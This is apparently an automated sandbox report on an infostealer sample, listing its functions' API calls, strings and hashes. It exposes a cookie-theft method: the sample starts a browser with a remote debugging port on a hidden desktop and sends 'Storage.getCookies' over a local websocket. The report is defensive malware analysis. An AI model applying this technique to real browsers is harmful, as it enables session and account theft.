Function 00424AC0 Relevance: 69.4, APIs: 33, Strings: 6, Instructions: 1120stringnetworkCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00424AEE
strlen.MSVCRT ref: 00424B18

Part of subcall function 00408980: std::_Xinvalid_argument.LIBCPMT ref: 00408996

strlen.MSVCRT ref: 00424B5D
memcmp.MSVCRT(?,ws://,?), ref: 00424B93

Part of subcall function 00408980: std::_Xinvalid_argument.LIBCPMT ref: 004089CD
Part of subcall function 00408980: memcpy.MSVCRT(?,00000000,?,00000000,?,?,004087D0,?,00000000,00407897), ref: 00408A2B

Part of subcall function 00425AA0: memmove.MSVCRT(?,?,?,00000000), ref: 00425AE7

WSAStartup.WS2_32(00000202,?), ref: 00424E35
strlen.MSVCRT ref: 00424E57

Strings

Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: , xrefs: 00425114
Sec-WebSocket-Version: 13, xrefs: 00425138
{"id":1,"method":"Storage.getCookies"}, xrefs: 00425213
:, xrefs: 00424D12
HTTP/1.1Host: , xrefs: 004250D2
ws://, xrefs: 00424B58, 00424B8D

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: strlen$Xinvalid_argumentstd::_$Startupmemcmpmemcpymemmove
String ID: Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: $Sec-WebSocket-Version: 13$ HTTP/1.1Host: $:$ws://${"id":1,"method":"Storage.getCookies"}
API String ID: 938782968-758292691
Opcode ID: 0c8c0918554610c9f3b2b4e132e831c4571d43639cc555f2ed4b30cc048ead65
Instruction ID: 34b3c9b1fc4b770e8bb242af97031ae8cbb184fa6fab3183363b7cbd9fc6a661
Opcode Fuzzy Hash: 0c8c0918554610c9f3b2b4e132e831c4571d43639cc555f2ed4b30cc048ead65
Instruction Fuzzy Hash: 33A26A71E012699FDB20DFA4D9407EDBBB6FF48300F5481AAE508A7281DB785E85CF94

Function 00404A60 Relevance: 61.4, APIs: 34, Strings: 1, Instructions: 115
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A74
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A7B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A82
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A89
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404A90
GetProcessHeap.KERNEL32(00000000,?), ref: 00404A9B
RtlAllocateHeap.NTDLL(00000000), ref: 00404AA2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AB2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AB9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AC0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AC7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404ACE
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AD9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AE0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AE7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AEE
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404AF5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B0B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B12
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B19
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B20
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B27
strlen.MSVCRT ref: 00404B2F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B53
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B5A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B61
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B68
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B6F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B7F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B86
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B8D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B94
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404B9B
VirtualProtect.KERNEL32(00000000,00000004,00000100,?), ref: 00404BB0

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404A6F, 00404A76, 00404A7D, 00404A84, 00404A8B, 00404AAA, 00404AB4, 00404ABB, 00404AC2, 00404AC9, 00404AD0, 00404ADB, 00404AE2, 00404AE9, 00404AF0, 00404B06, 00404B0D, 00404B14, 00404B1B, 00404B22, 00404B43, 00404B55, 00404B5C, 00404B63, 00404B6A, 00404B7A, 00404B81, 00404B88, 00404B8F, 00404B96

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-3329630956
Opcode ID: f16473a37540a51901c5d734788aa638d0d129d2ef11d876a3004c0bbe0b3cfa
Instruction ID: 76e4e72d54844b5f718d0498cf6af46f704a1995843b300e33b80144487799f7
Opcode Fuzzy Hash: f16473a37540a51901c5d734788aa638d0d129d2ef11d876a3004c0bbe0b3cfa
Instruction Fuzzy Hash: 3431E7A0B4021C7686306BB56C4AFEF7E5CDFCC752F215253F51856181C9B86581CEFA

Function 004265A0 Relevance: 58.0, APIs: 32, Strings: 1, Instructions: 218
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00862900), ref: 004265F9
GetProcAddress.KERNEL32(74DD0000,00862930), ref: 00426612
GetProcAddress.KERNEL32(74DD0000,00862978), ref: 0042662A
GetProcAddress.KERNEL32(74DD0000,00862918), ref: 00426642
GetProcAddress.KERNEL32(74DD0000,008683B0), ref: 0042665B
GetProcAddress.KERNEL32(74DD0000,00867928), ref: 00426673
GetProcAddress.KERNEL32(74DD0000,00867848), ref: 0042668B
GetProcAddress.KERNEL32(74DD0000,00862948), ref: 004266A4
GetProcAddress.KERNEL32(74DD0000,00862960), ref: 004266BC
GetProcAddress.KERNEL32(74DD0000,00862990), ref: 004266D4
GetProcAddress.KERNEL32(74DD0000,00869668), ref: 004266ED
GetProcAddress.KERNEL32(74DD0000,00867988), ref: 00426705
GetProcAddress.KERNEL32(74DD0000,008693B0), ref: 0042671D
GetProcAddress.KERNEL32(74DD0000,00869410), ref: 00426736
GetProcAddress.KERNEL32(74DD0000,008678E8), ref: 0042674E
GetProcAddress.KERNEL32(74DD0000,00869650), ref: 00426766
GetProcAddress.KERNEL32(74DD0000,008693C8), ref: 0042677F
GetProcAddress.KERNEL32(74DD0000,008678A8), ref: 00426797
GetProcAddress.KERNEL32(74DD0000,00869428), ref: 004267AF
GetProcAddress.KERNEL32(74DD0000,00867908), ref: 004267C8
LoadLibraryA.KERNEL32(00869458,?,?,?,00421DD3), ref: 004267D9
LoadLibraryA.KERNEL32(008694A0,?,?,?,00421DD3), ref: 004267EB
LoadLibraryA.KERNEL32(008694E8,?,?,?,00421DD3), ref: 004267FD
LoadLibraryA.KERNEL32(00869530,?,?,?,00421DD3), ref: 0042680E
LoadLibraryA.KERNEL32(008695A8,?,?,?,00421DD3), ref: 00426820
GetProcAddress.KERNEL32(75A70000,00869398), ref: 0042683D
GetProcAddress.KERNEL32(75290000,008693E0), ref: 00426859
GetProcAddress.KERNEL32(75290000,00869680), ref: 00426871
GetProcAddress.KERNEL32(75BD0000,008693F8), ref: 0042688D
GetProcAddress.KERNEL32(75450000,00867868), ref: 004268A9
GetProcAddress.KERNEL32(76E90000,008683D0), ref: 004268C5
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 004268DC

Strings

NtQueryInformationProcess, xrefs: 004268D1

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 679f949250fc69e3c6c948a61fb191331c2934ca864fe0a6fb2186dc54d65b5c
Instruction ID: 143a59b63f5ba91877edf66354a2a7fa555e43081a608b4dc5d23feccb8ab71c
Opcode Fuzzy Hash: 679f949250fc69e3c6c948a61fb191331c2934ca864fe0a6fb2186dc54d65b5c
Instruction Fuzzy Hash: CEA15DB9A117009FD758DF65EE88A6637BBF789344300A51EF94683360DBB4A900DFB0

Function 0041CDD0 Relevance: 54.6, APIs: 27, Strings: 4, Instructions: 310
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041CDEC
FindFirstFileA.KERNEL32(?,?), ref: 0041CE03
lstrcatA.KERNEL32(?,?), ref: 0041CE4F
StrCmpCA.SHLWAPI(?,004317A8), ref: 0041CE61
StrCmpCA.SHLWAPI(?,004317AC), ref: 0041CE7B
wsprintfA.USER32 ref: 0041CEA0
PathMatchSpecA.SHLWAPI(?,00869B40), ref: 0041CED2
CoInitialize.OLE32(00000000), ref: 0041CEDE

Part of subcall function 0041CCD0: CoCreateInstance.COMBASE(0042B118,00000000,00000001,0042B108,?), ref: 0041CCF6
Part of subcall function 0041CCD0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104), ref: 0041CD36
Part of subcall function 0041CCD0: lstrcpyn.KERNEL32(?,?,00000104), ref: 0041CDB9

CoUninitialize.COMBASE ref: 0041CEF9
lstrcatA.KERNEL32(?,?), ref: 0041CF1E
lstrlenA.KERNEL32(?), ref: 0041CF2B
StrCmpCA.SHLWAPI(?,Function_0002CFF4), ref: 0041CF45
wsprintfA.USER32 ref: 0041CF6D
wsprintfA.USER32 ref: 0041CF8C
PathMatchSpecA.SHLWAPI(?,?), ref: 0041CFA0
wsprintfA.USER32 ref: 0041CFC8
CopyFileA.KERNEL32(?,?,00000001), ref: 0041CFE1
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041D000
GetFileSizeEx.KERNEL32(00000000,?), ref: 0041D018
CloseHandle.KERNEL32(00000000), ref: 0041D023
CloseHandle.KERNEL32(00000000), ref: 0041D02F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041D044
lstrcpy.KERNEL32(00000000,?), ref: 0041D084
FindNextFileA.KERNELBASE(?,?), ref: 0041D17D
FindClose.KERNEL32(?), ref: 0041D18F

Strings

%s\*, xrefs: 0041CDE6
%s%s, xrefs: 0041CFC2
%s\%s, xrefs: 0041CE9A, 0041CF86
%s\%s\%s, xrefs: 0041CF67

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseFind$CreateHandleMatchPathSpeclstrcat$ByteCharCopyFirstInitializeInstanceMultiNextSizeUninitializeUnothrow_t@std@@@Wide__ehfuncinfo$??2@lstrcpylstrcpynlstrlen
String ID: %s%s$%s\%s$%s\%s\%s$%s\*
API String ID: 3860919712-2388001722
Opcode ID: 2a93387373d45d10d6d7218b318a82ad9a3aa9d4bebe5c84d53716a02ba32a73
Instruction ID: ac09bf79c1e6b060118af31593c3691fd461216646dc4e7f7f92c5c17c7ff3bf
Opcode Fuzzy Hash: 2a93387373d45d10d6d7218b318a82ad9a3aa9d4bebe5c84d53716a02ba32a73
Instruction Fuzzy Hash: A1C184B1A00218AFCB14DF64DC89AEF777AAF48304F104559F509A7290DF74AE85CFA4

Function 00409770 Relevance: 49.2, APIs: 24, Strings: 4, Instructions: 233
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00409790
lstrcatA.KERNEL32(?,?), ref: 004097A0
lstrcatA.KERNEL32(?,?), ref: 004097B1
lstrcatA.KERNEL32(?, --remote-debugging-port=9229 --profile-directory="), ref: 004097C3
memset.MSVCRT ref: 004097D7

Part of subcall function 00424040: lstrcpy.KERNEL32(00000000,0042CFF4), ref: 00424075
Part of subcall function 00424040: lstrcpy.KERNEL32(00000000,0086BCE0), ref: 0042409F
Part of subcall function 00424040: GetSystemTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00404DFA,?,00000014), ref: 004240A9

wsprintfA.USER32 ref: 00409806
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00409827
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00409844

Part of subcall function 004248B0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 004248C9
Part of subcall function 004248B0: Process32First.KERNEL32(00000000,00000128), ref: 004248D9
Part of subcall function 004248B0: Process32Next.KERNEL32(00000000,00000128), ref: 004248EB
Part of subcall function 004248B0: StrCmpCA.SHLWAPI(?,?), ref: 004248FD
Part of subcall function 004248B0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00424912
Part of subcall function 004248B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00424921
Part of subcall function 004248B0: CloseHandle.KERNEL32(00000000), ref: 00424928
Part of subcall function 004248B0: Process32Next.KERNEL32(00000000,00000128), ref: 00424936
Part of subcall function 004248B0: CloseHandle.KERNEL32(00000000), ref: 00424941

memset.MSVCRT ref: 00409862
lstrcatA.KERNEL32(00000000,?), ref: 00409878
lstrcatA.KERNEL32(00000000,?), ref: 00409889
lstrcatA.KERNEL32(00000000,00434B68), ref: 0040989B
memset.MSVCRT ref: 004098AF
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 004098D4
lstrcpy.KERNEL32(00000000,?), ref: 00409903
StrStrA.SHLWAPI(00000000,00872198), ref: 00409919
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\,00000000,00000000), ref: 00409938
lstrlenA.KERNEL32(?), ref: 0040994B
wsprintfA.USER32 ref: 0040995B
lstrcpy.KERNEL32(?,00000000), ref: 00409971
memset.MSVCRT ref: 00409986
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 004099D8
Sleep.KERNEL32(00001388), ref: 004099E7

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

Part of subcall function 004092B0: strlen.MSVCRT ref: 004092E1
Part of subcall function 004092B0: strlen.MSVCRT ref: 004092FA
Part of subcall function 004092B0: memset.MSVCRT ref: 00409341
Part of subcall function 004092B0: lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 0040935C
Part of subcall function 004092B0: lstrcatA.KERNEL32(?,00000000), ref: 00409372
Part of subcall function 004092B0: strlen.MSVCRT ref: 00409399
Part of subcall function 004092B0: strlen.MSVCRT ref: 004093E6

Part of subcall function 00424950: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?), ref: 00424969
Part of subcall function 00424950: Process32First.KERNEL32(00000000,00000128), ref: 00424979
Part of subcall function 00424950: Process32Next.KERNEL32(00000000,00000128), ref: 0042498B
Part of subcall function 00424950: OpenProcess.KERNEL32(00000001,00000000,?), ref: 004249AC
Part of subcall function 00424950: TerminateProcess.KERNEL32(00000000,00000000), ref: 004249BB
Part of subcall function 00424950: CloseHandle.KERNEL32(00000000), ref: 004249C2
Part of subcall function 00424950: Process32Next.KERNEL32(00000000,00000128), ref: 004249D0
Part of subcall function 00424950: CloseHandle.KERNEL32(00000000), ref: 004249DB

CloseDesktop.USER32(?), ref: 00409A1C

Strings

%s%s, xrefs: 00409955
D, xrefs: 00409999
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\, xrefs: 00409933, 00409964, 00409969
--remote-debugging-port=9229 --profile-directory=", xrefs: 004097B7

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy$Process32memset$CloseProcess$CreateHandleNextstrlen$DesktopOpen$FirstSnapshotTerminateToolhelp32wsprintf$FolderPathSleepSystemTimelstrcpynlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$%s%s$C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\$D
API String ID: 67568813-2804506265
Opcode ID: f192b1f5d71564b207abd71ac3fe78da33e519e5bd4278db18c17d527e659ab7
Instruction ID: ccf3e315bf26f4905068c089cbdebd89087d04a1aa32e64f9bfb9bced8b1062f
Opcode Fuzzy Hash: f192b1f5d71564b207abd71ac3fe78da33e519e5bd4278db18c17d527e659ab7
Instruction Fuzzy Hash: A0916371A10218AFDB10DF64DC89FDE77B9AF48700F504169F609A72D1DFB4AA448FA4

Function 004016B9 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 219stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 004016E2
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00401719
lstrcpy.KERNEL32(00000000,00000000), ref: 0040176C
lstrcatA.KERNEL32(00000000), ref: 00401776
lstrcpy.KERNEL32(00000000,00000000), ref: 004017A2
lstrcpy.KERNEL32(00000000,?), ref: 004018F3
lstrcatA.KERNEL32(00000000,00000000), ref: 004018FE

Strings

\*.*, xrefs: 0040196C, 00401994

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat
String ID: \*.*
API String ID: 2276651480-1173974218
Opcode ID: 1c1888d2e4056c3166ab4fdfc474597fdfc81ca61b02ebfd959587e492e8f1d2
Instruction ID: cd0a47829bd521185c17289ca57b989961521a9507289b2fd78fa20e7e11e416
Opcode Fuzzy Hash: 1c1888d2e4056c3166ab4fdfc474597fdfc81ca61b02ebfd959587e492e8f1d2
Instruction Fuzzy Hash: 21815171A112169BCB21EF69DD89AAF77B5AF04304F04113AF805B72E1CB789D05CFA9

Function 004124F7 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00412524
lstrcpy.KERNEL32(00000000,00000000), ref: 00412547
lstrcatA.KERNEL32(00000000,00000000), ref: 00412552
lstrlenA.KERNEL32(\*.*), ref: 0041255D
lstrcpy.KERNEL32(00000000,00000000), ref: 0041257A
lstrcatA.KERNEL32(00000000,\*.*), ref: 00412586
lstrcpy.KERNEL32(00000000,00000000), ref: 004125BA
FindFirstFileA.KERNEL32(00000000,?), ref: 004125D6

Strings

\*.*, xrefs: 00412558, 00412580

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*
API String ID: 2567437900-1173974218
Opcode ID: 9c2ce7e8f282b99cfc890245ba6ec73d360c0c30b5bfbd2287be8ecd0c063818
Instruction ID: 2f3a93794d0539e2a55c5fe1855a16b658c842ef6a257d672e33e624a19693a5
Opcode Fuzzy Hash: 9c2ce7e8f282b99cfc890245ba6ec73d360c0c30b5bfbd2287be8ecd0c063818
Instruction Fuzzy Hash: B3314F307101159BC722EF29DEC9A9F77A5AF14308F04113AB805E72E1DFB89D458F98

Function 004124F9 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00412524
lstrcpy.KERNEL32(00000000,00000000), ref: 00412547
lstrcatA.KERNEL32(00000000,00000000), ref: 00412552
lstrlenA.KERNEL32(\*.*), ref: 0041255D
lstrcpy.KERNEL32(00000000,00000000), ref: 0041257A
lstrcatA.KERNEL32(00000000,\*.*), ref: 00412586
lstrcpy.KERNEL32(00000000,00000000), ref: 004125BA
FindFirstFileA.KERNEL32(00000000,?), ref: 004125D6

Strings

\*.*, xrefs: 00412558, 00412580

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
